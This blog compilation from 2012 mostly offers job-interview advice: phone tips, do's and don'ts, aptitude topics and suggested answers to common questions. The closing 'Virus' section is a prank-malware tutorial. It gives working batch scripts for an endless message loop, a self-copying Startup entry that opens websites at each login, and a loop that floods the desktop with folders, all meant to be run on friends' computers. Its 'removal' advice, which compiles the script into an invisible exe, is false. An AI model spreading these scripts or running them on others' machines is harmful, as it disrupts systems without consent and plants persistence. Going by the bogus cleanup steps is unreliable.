Tuesday, 1 May 2012

phone interviewing


 
Here are the keys to successful phone interviewing.
* Do give accurate and detailed contact information in your cover letter so your interviewers can easily connect with you.

* When in job-hunting mode, don't have a disproportionately silly or long greeting on your answering machine or voicemail.

* Do ensure that household members understand the importance of phone messages in your job search.

* Do know what job you are interviewing for.

* Do practice, if possible. Have a friend call you to do a mock phone interview so you get the feel of being interviewed over the phone.

* When being interviewed by phone, do make sure you are in a place where you can read notes, take notes, and concentrate.

* If you cannot devote enough time to a phone interview, do suggest a specific alternate time to the recruiter. It's often best to be the one who calls back so you can be mentally prepared.

* Do consider using a phone interview log.

* Do consider keeping some notecards or an outline in front of you to remind yourself of key points you want to cover with the interviewer. You don't want your responses to sound scripted, but you don't want to fumble for important points either. Do also have your resume in front of you so you can remember highlights of your experience and accomplishments.

* Do ensure that you can hear and are being clearly heard.

* Do consider standing when being interviewed on the phone. Some experts say you'll sound more professional than if you're slouching in an easy chair.

* Do consider dressing nicely for the phone interview. It may sound silly since the interviewer can't see you, but you really will project a more professional image if you're dressed for the part instead of wearing, for example, a ratty bathrobe.

* Don't feel you have to fill in the silences. If you've completed a response, but the interviewer hasn't asked his or her next question, don't start babbling just to fill in airtime. Instead, ask a question of your own related to your last response.

* Do create a strong finish to your phone interview with thoughtful questions.

* Don't panic if you have special needs. If you are hearing-impaired, for example, phone interviews are still possible.

* Don't snuffle, sneeze or cough. If you can't avoid these behaviors, say “excuse me.”

* Don't chew gum or food, or drink anything noisy.

In Interview what to do & what not do


In Interview what to do 
 
  • Dress appropriately for the industry; err on the side of being conservative to show you take the interview seriously. Your personal grooming and cleanliness should be impeccable.
  • Know the exact time and location of your interview; know how long it takes to get there, park, find a rest room to freshen up, etc.
  • Arrive early; 10 minutes prior to the interview start time.
  • Treat other people you encounter with courtesy and respect. Their opinions of you might be solicited during hiring decisions.
  • Offer a firm handshake, make eye contact, and have a friendly expression when you are greeted by your interviewer.
  • Listen to be sure you understand your interviewer's name and the correct pronunciation.
  • Even when your interviewer gives you a first and last name, address your interviewer by title (Ms., Mr., Dr.) and last name, until invited to do otherwise.
  • Maintain good eye contact during the interview.
  • Sit still in your seat; avoid fidgeting and slouching.
  • Respond to questions and back up your statements about yourself with specific examples whenever possible.
  • Ask for clarification if you don't understand a question.
  • Be thorough in your responses, while being concise in your wording.
  • Be honest and be yourself. Dishonesty gets discovered and is grounds for withdrawing job offers and for firing. You want a good match between yourself and your employer. If you get hired by acting like someone other than yourself, you and your employer will both be unhappy.
  • Treat the interview seriously and as though you are truly interested in the employer and the opportunity presented.
  • Exhibit a positive attitude. The interviewer is evaluating you as a potential co-worker. Behave like someone you would want to work with.
  • Have intelligent questions prepared to ask the interviewer. Having done your research about the employer in advance, ask questions which you did not find answered in your research.
  • Evaluate the interviewer and the organization s/he represents. An interview is a two-way street. Conduct yourself cordially and respectfully, while thinking critically about the way you are treated and the values and priorities of the organization.
  • Do expect to be treated appropriately. If you believe you were treated inappropriately or asked questions that were inappropriate or made you uncomfortable, discuss this with a Career Services advisor or the director.
  • Make sure you understand the employer's next step in the hiring process; know when and from whom you should expect to hear next. Know what action you are expected to take next, if any.
  • When the interviewer concludes the interview, offer a firm handshake and make eye contact. Depart gracefully.
  • After the interview, make notes right away so you don't forget critical details.
  • Write a thank-you letter to your interviewer promptly.
Interview DON'Ts
 
  • Don't make excuses. Take responsibility for your decisions and your actions.
  • Don't make negative comments about previous employers or professors (or others).
  • Don't falsify application materials or answers to interview questions.
  • Don't treat the interview casually, as if you are just shopping around or doing the interview for practice. This is an insult to the interviewer and to the organization.
  • Don't give the impression that you are only interested in an organization because of its geographic location.
  • Don't give the impression you are only interested in salary; don't ask about salary and benefits issues until the subject is brought up by your interviewer.
  • Don't act as though you would take any job or are desperate for employment.
  • Don't make the interviewer guess what type of work you are interested in; it is not the interviewer's job to act as a career advisor to you.
  • Don't be unprepared for typical interview questions. You may not be asked all of them in every interview, but being unprepared looks foolish.
  • A job search can be hard work and involve frustrations; don't exhibit frustrations or a negative attitude in an interview.
  • Don't go to extremes with your posture; don't slouch, and don't sit rigidly on the edge of your chair.
  • Don't assume that a female interviewer is "Mrs." or "Miss." Address her as "Ms." unless told otherwise. Her marital status is irrelevant to the purpose of the interview.
  • Don't chew gum or smell like smoke.
  • Don't allow your cell phone to sound during the interview. (If it does, apologize quickly and ignore it.) Don't take a cell phone call.
  • Don't take your parents, your pet (an assistance animal is not a pet in this circumstance), spouse, fiance, friends or enemies to an interview. If you are not grown up and independent enough to attend an interview alone, you're insufficiently grown up and independent for a job. (They can certainly visit your new city, at their own expense, but cannot attend your interview.)

Topics to prepare in Quantitative Aptitude?


What are the Topics you need to prepare in Quantitative Aptitude?
1. Number
2. HCF and LCM
3. Decimal Friction
4. Simplification
5. Square Roots
6. Average
7. problem on Number
8. Problem on Ages
9. Surds and indices
10. Percentage
11. profit and Loss
12. Ratio and Proportion
13. Partnership
14. Chain Rule
15. Time And Work
16. Pipes
17. Time and Distance
18. Problem On Trains
19. Boats and Streams
20. Alligation
21. Simple Interest
22. Compound Interest Download

How you have to prepare for entry level (Fresher)?

  • General Aptitude Round

  • Technical Round

  • Group Discussion

  • HR Round

  • Steps for Interview


    Step 1: Find out All You Can About Your Prospective Employer.
    Talk with your friends and colleagues to see if they are familiar with the company. Do they know anyone who has interviewed with the company?

    Find out as much as possible about the job duties and requirements of the position.

    Do an internet search and see if the employer has a website. Read their company history and mission statement. Do they specialize in a particular field? Who is the owner or company president? This will help you ask intelligent questions and show knowledge about their organization.

    Step 2: Do a Pre-Interview Self Assessment. Are you able to convey to your prospective employer positive information about yourself? Do you convey confidence and professionalism?

    Make a list of your skills and personality traits that would be of benefit to the employer. Make a list of possible interview questions and practice answering them out loud with family, friends or the career counselor. Be able to give specific examples to anticipated interview questions and not just general statements. Why they should hire you? Tell me a little about yourself? Tell me about your training at PCI? What do you enjoy doing the most/least? Why do you want to work here? What were your duties at your last job? Ask for critiques of your delivery style and communication skills.

    Step 3: The Actual Interview.

    DRESS FOR THE INTERVIEW NOT THE JOB 
    Dress appropriately in professional business attire. This is defiantly not the time to be making any trendy fashion statements.

    Carry an extra copy of your resume, academic records and personal references.

    Arrive 15 minutes early. Don't arrive way too early (makes you look desperate for a job) and never ever arrive late. Lateness is an employment killer and sign that you are unreliable. Plan enough slack time so you won't be rushed before the big interview. Use this time to relax and observe how the staff and others in the office interact.
    Always present yourself in a confident manor - walk briskly, with purpose, and stand up straight.

    Complete the job application completely and don't leave any blank spaces. Never lie on an application!

    When you meet the interviewer look him or her in the eye and give a firm handshake. Be yourself. Be confident but not arrogant. Try to relax and make the interviewer feel relaxed. Remain positive and enthusiastic. Speak clearly. Don't talk too much or too little. Listen carefully to the interviewers questions.

    Ask questions as though you already have the job - What would a typical day be like? When will the job start? Who will be my supervisor? etc. Do not make your first question what's the salary.

    Remember to focus upon your accomplishments and achievements. If you are really interested in the job, let the interviewer know about it.

    Step 4: The Post Interview
    The interview process doesn't end when you walk out the door!

    Be sure to write a thank you letter. Thank the interviewer for their time and the opportunity to interview with their company. If you really want the job, say so in the letter.

    If you have not heard anything within a week to 10 days, you may want to call. Assure them that you are not trying to be pushy, but that you are just interested in working for their company.

    Even If you are not hired, send a thank you letter to the company and ask them to keep you in mind for any other similar job openings in the future. You may want to ask the interviewer if there was any specific reason as to why you weren't hired. Ensure them that you only want to know this information to assist you in your future job searches.

    steps to get a job in Freshers


    Dear Fresher,
     
    Welcome. You can find enough stuff in this website for your career in India. We created this website to include all the necessary guide in one place for a job seekers.
    Planning & Preparation
    1. Make sure you are familiar with C(, C++, Database
    2. C [Pointers], C++ [OOPS], Database basics[Normalization, basic definitions]
    3. Software Engineering [SDLC, Testing Types, Software Paradigms]
    4. Data structures [stack, queue, trees]
    5. Basics in OS and Computer Networks [TCP/IP, Congestion]

     
    Resume Writing Tips for Fresher
    1. Avoid spelling/grammatical mistakes in your resume. Use a good fond and size.
    2. Include your percentage of marks in your higher degree and do not miss to add all educational history like SSLC, HSC.
    3. Do not expect the interviewer to search your email ID and phone number. Make sure its visible at first sight and double check it.
    4. Adding two projects in your resume is enough. Make sure it must be a very good one.
    5. Send a separate email while applying for different companies.

     
    During Interview
    1. Very easy. Be confidence that you will definitely get the job.
    2. If you are not understanding the question asked, ask him/her twice. But be clear with your answer. That's it.
    3. You should know about the company like the company history, their area of working, number of people, number of countries they work, CEO of the company (ask any employee if you forget to prepare as I did) before attending interview.
    4. Keep in mind that how you are explaining about your projects will give you job. So be clear and well prepare your projects.
    5. If you do not know the answer, say "No" frankly.. but not always.

    Common Interview Questions with Answers

    Common Interview Questions with Answers





    Tell me about yourself.
    The most often asked question in interviews. You need to have a short statement prepared in your mind. Be careful that it does not sound rehearsed. Limit it to work-related items unless instructed otherwise. Talk about things you have done and jobs you have held that relate to the position you are interviewing for. Start with the item farthest back and work up to the present.

    Do you consider yourself successful?
    You should always answer yes and briefly explain why. A good explanation is that you have set goals, and you have met some and are on tract to achieve the others.

    Why did you leave your last job?
    Stay positive regardless of the circumstances. Never refer to a major problem with management and never speak ill of supervisors, co-workers, or the organization. If you do, you will be the one looking bad. Keep smiling and talk about leaving for a positive reason such as an opportunity, a chance to do something special, or other forward-looking reasons.

    What experience do you have in this field?
    Speak about specifics that relate to the position you are applying for. If you do not have specific experience, get as close as you can.
     
    What do you know about this organization?
    This question is one reason to do some research on the organization before the interview. Find out where they have been, and where they are going. What are the current issues, and who are the major players?
     
    What have you done to improve your knowledge in the last year?
    Try to include improvement activities that relate to the job. A wide variety of activities can be mentioned as positive self-improvement. Have some good ones handy to mention.
     
    Are you applying for other jobs?
    Be honest but do not spend a lot of time in this area. Keep the focus on this job and what you can do for this organization. Anything else is a distraction.
     
    What do co-workers say about you?
    Be prepared with a quote or two from co-workers. Either a specific statement or a paraphrase will work. "Jill Clark, a co-worker at Smith Company, always said I was the hardest worker she had ever known." It is as powerful as Jill having said it at the interview herself.
     
    Why do you want to work for this organization?
    This may take some thought and certainly should be based on the research you have done on the organization, Sincerity is extremely important here, and will easily be sensed. Relate it to your long-term career goals.
     
    Do you know anyone who works for us?
    Be aware of the policy on relatives working for the organization. This can affect your answer even though they asked about friends not relatives. Be careful to mention a friend only if they are will thought of.
     
    What kind of salary do you need?
    A loaded question. A nasty little game that you will probably lose if you answer first. So, do not answer it. Instead, say something like, "That's a tough question. Can you tell me the range for this position?" In most cases, the interviewer, taken off guard, will tell you. If not, say that it can depend on the details of the job. Then give a wide range.
     
    Are you a team player?
    You are, of course, a team player, Be sure to have examples ready. Specifics that show you often perform for the good of the team rather than for yourself are good evidence of your team attitude. Do not brag, just say it in a matter-of-fact tone. This is a key point.
     
    How long would you expect to work for us if hired?
    Specifics here are not good. Something like this should work: "I'd like it to be a long time." Or "As long as we both feel I'm doing a good job."
     
    Have you ever had to fire anyone? How did you feel about that?
    This is serious. Do not make light of it or in any way seem like you like to fire people. At the same time, you will do it when it is the right thing to do. When it comes to the organization versus the individual who has created a harmful situation, you will protect the organization. Remember firing is not the same as layoff or reduction in force.
     
    What is your philosophy towards work?
    The interviewer is not looking for a long or flowery dissertation here. Do you have strong feelings that the job gets done? Yes. That's the type of answer that works best here. Short and positive, showing a benefit to the organization.
     
    If you had enough money to retire right now, would you?
    Answer yes if you would, But since you need to work, this is the type of work you prefer. Do not say yes if you do not mean it.
     
    Have you ever been asked to leave a position?
    If you have not, say no. If you have, be honest, brief, and avoid saying negative things about the people or organization involved.
     
    Explain how you would be an asset to this organization.
    You should be anxious for this question. It gives you a chance to highlight your best points as they relate to the position being discussed. Give a little advance thought to this relationship.
     
    Why should we hire your?
    Point out how your assets meet what the organization needs. Do not mention any other candidates to make a comparison.
     
    Tell me about a suggestion you have made.
    Have a good one ready. Be sure and use a suggestion that was accepted and was then considered successful. One related to the type of work applied for is a real plus.
     
    What irritates you about co-workers?
    This a trap question. Think "real hard" but fail to come up with anything that irritates you. A short statement that you seem to get along with folks is great.
     
    What are your greatest weaknesses?
    Assure the interviewer that you can think of nothing that would stand in the way of your performing in this position with excellence. Then, quickly review you strongest qualifications.
    Example: "Nobody's perfect, but based on what you've told me about this position, I believe I' d make an outstanding match. I know that when I hire people, I look for two things most of all. Do they have the qualifications to do the job well, and the motivation to do it well? Everything in my background shows I have both the qualifications and a strong desire to achieve excellence in whatever I take on. So I can say in all honesty that I see nothing that would cause you even a small concern about my ability or my strong desire to perform this job with excellence."
     
    Alternate strategy (if you don't yet know enough about the position to talk about such a perfect fit): Instead of confessing a weakness, describe what you like most and like least, making sure that what you like most matches up with the most important qualification for success in the position, and what you like least is not essential.
     
    Example: Let's say you're applying for a teaching position. "If given a choice, I like to spend as much time as possible in front of my prospects selling, as opposed to shuffling paperwork back at the office. Of course, I long ago learned the importance of filing paperwork properly, and I do it conscientiously. But what I really love to do is sell (if your interviewer were a sales manager, this should be music to his ears.)
     
    What is your greatest strength?
    Numerous answers are good, just stay positive. A few good examples: your ability to prioritize.
    You know that your key strategy is to first uncover your interviewer's greatest wants and needs before you answer questions.

    Prior to any interview, you should have a list mentally prepared of your greatest strengths. You should also have, a specific example or two, which illustrates each strength, an example chosen from your most recent and most impressive achievements.

    As a general guideline, the 10 most desirable traits that all employers love to see in their employees are:
    · Your problem-solving skills.
    · Your ability to work under pressure.
    · Your ability to focus on projects.
    · Your professional expertise.
    · Your leadership skills.
    · Your positive attitude.
    · Tell me about your dream job.
    · Definiteness of purpose...clear goals.
    · Enthusiasm...high level of motivation.
    · Likeability...positive attitude...sense of humor.
     
    Stay away from a specific job. You cannot win. If you say the job you are contending for is it, you strain credibility. If you say another job is it, you plant the suspicion that you will be dissatisfied with this position if hired. The best bet is to stay generic and say something like: "A job where I love the work, like the people, can contribute, and can't wait to get to work."
     
    Why do you think you would do well at this job?
    Give several reasons and include skills, experience, and interest.
     
    What are you looking for in a job?
    Stay away from a specific job. You cannot win. If you say the job you are contending for is it, you strain credibility. If you say another job is it, you plant the suspicion that you will be dissatisfied with this position if hired. The best bet is to stay generic and say something like: "A job where I love the work, like the people, can contribute, and can't wait to get to work."
     
    What kind of person would you refuse to work with?
    Do not be trivial, It would take disloyalty to the organization, violence or lawbreaking to get you to object. Minor objections will label you as a whiner.
     
    What is more important to you: the money or the work?
    Money is always important, but the work is the most important. There is not better answer.
     
    What would your previous supervisor say your strongest point is?
    · Loyalty
    · Energy
    · Positive attitude
    · Leadership
    · Team Player
    · Expertise
    · Initiative
    · Patience
    · Hard Work
    · Creativity
    · Problem solver
    · Tell me about a problem you had with a supervisor.
    Biggest trap of all. This is a test to see if you will speak ill of your boss. If you fall for it and tell about a problem with a former boss, you may well blow the interview right there. Stay positive and develop a poor memory about any trouble with a superior.
     
    What has disappointed you about a job?
    Don't get trivial or negative. Safe areas are few but can include.
  • Not enough of a challenge.

  • You were laid off in a reduction.

  • Company did not win a contract, which would have given you more responsibility.

  •  
    Tell me about your ability to work under pressure.
    You may say that you thrive under certain types of pressure. Give an example that relates to the type of position applied for.
     
    Do your skills match this job or another job more closely?
    Probably this one. Do not give fuel to the suspicion that you may want another job more than this one.
     
    What motivates you to do your best on the job?
    This is a personal trait that only you can say, but good examples are:
  • Challenge

  • Achievement

  • Recognition

  •  
    How would you know you were successful on this job?
    Several ways are good measures:
    Ø You Set high standards for yourself and meet them.
    Ø Your outcomes are a success.
    Ø Your boss tells you that you are successful.
     
    Would you be willing to relocate if required?
    You should be clear on this with your family prior to the interview if you think there is a chance it may come up. Do not say yes just to get the job if the real answer is no. This can create a lot of problems later on in your career. Be honest at this point and save yourself future grief.
     
    Describe your management style.
    Try to avoid labels. Some of the more common labels, like "progressive", "Salesman" or "Consensus", can have several meanings or descriptions depending on which management expert you listen to. The "situational" style is safe, because it says you will manage according to the situation, instead of "one size fits all."
     
    Do you have any blind spots?
    Trick question, if you know about blind spots, they are no longer blind spots. Do not reveal any personal areas of concern here. Let them do their own discovery on your bad points. Do not hand it to them.
     
    How do you propose to compensate for your lack of experience?
    First, if you have experience that the interviewer does not know about, bring that up. Then, point out (if true) that you are a hard working quick learner.
     
    What qualities do you look for in a boss?
    Be generic and positive, safe qualities are knowledgeable, a sense of humor, fair, loyal to subordinates, and holder of high standards. All bosses think they have these traits.
     
    Describe a bad decision you made.
    The major pitfall that interviewee's often exhibit with this question is that they make the "bad decision"something they did when they were ten years old. The idea here is not to avoid the question. Pick something from the relevant past. We all make mistakes and a hallmark of honesty is admitting that and a hallmark of self-awareness is being able to recognize when we made those mistakes.
    Do not put your mistake so far back in the past that you are obviously picking something that is "harmless" but if you feel the need to do this, you might say something like, "Well, I have more current answers but I have one from my past that really stuck with me." If you go that route, then explain why that decision "stuck with you" and, more importantly, how it is has guided your actions in other areas so as to not make that kind of bad decision again. The real point here, for the candidate, is to turn this into a "lesson learned" answer. State your bad decision, make it clear why you perceive this was a bad decision, and then talk about what you learned from that.
     
    Describe your work ethic.
    Emphasize benefits to the organization. Things like, "determination to get the job done" and "work hard but enjoy your work" are good.
     
    Do you have any questions for me?
    Always have some questions prepared. Questions involving areas where you will be an asset to the organization are good. "How soon will I be able to be productive?" and "What type of projects will I be able to assist on?" are examples.
     

    Virus


    Virus  In your  or Friends PC 



     
    Hi Friends Today I will Explain about how to Create a Funny Virus in your Girl Friends Computer by Creating the Virus of "  I Love You Darling " and Create Funny Viruses in your Friends PC or Laptop .


    This Funny Virus Making Tutorial Contains 3 Funny Virus Making Programs .


    Create this Viruses in your Friends Computer and have a fun with your Friends , these Viruses Dont Harm to Your Computer . These are Bat Extensions only .


    In this I provided Batch Compiler also which removes the Below Three Viruses .


    1 ) 


    Making "I Love You Darling" Virus .


    Open Notepad and type the Following Program .


    @echo off
    :abc
    msg * I love You Darling !!
    mmuuaah!
    goto abc
    .bat


    save the above program with any .bat extension ex:- save the file with abc.bat 


    Thats it open the saved location of file and  double click the file  it shows like below 




    This will be the Virus of I love you in your Friends computer this is not harm to your computer but it runs on desktop continue manner and disturbs , so fun with your friends by this love virus making and also wish to your Girl Friend with this new type of Wishing .


    2 )


    Disabling the Sites in your Friends Computer and also replace with other  


    Write in Notepad as Below 


    @echo off
    copy %0 "%userprofile%\start
    Menu \ programs \ start up \ web.bat"
    start iexplore.exe www.facebook.com
    start iexplore.exe www.google.com
    start iexplore.exe www.twitter.com
    start iexplore.exe www.yahoo.com
    start iexplore.exe www.orkut.com
    start iexplore.exe www.gmail.com



    3 )


    Creating the Huge no of Folders on the Desktop 


    Open notepad and write 


    @echo off 
    :hell
    md %random%
    go to hell


    so save the file with any .bat extension in desktop ex :- save the File with abc.bat 


    Open the Saved Location of file and Double Click the Bat file and see the Surprise in your or your's Friend Computer the Desktop is Fill Up with the Huge no of Folders . See the Screen Shot .



    So Create this Virus and Fun with Your Friends .


    Removing Of This Type Of .Bat Extensions :-


    By removing of this Type of Bat Extensions Use Batch Compiler which Converts the .bat Extensions to Exe Files . Run that Exe file so the Virus Can be Removed from your Computer after Restarting . BatchCompiler is also called as  the Bat to Exe converter.


    Follow the Instructions :-

    1) Download Batch Compiler From Here .


    2) Open the Batch Compiler 


    3) Open the Batch File which you have Created and next Click the Invisible Option and Next Hit the Compile Button.See the Screenshot Below .






    That's it the Corresponding Exe File is Created in your Desktop open that file and Restart your Computer the Virus is Successfully Removed From your Computer .

    Download :-


    Download Link :- Batch Compiler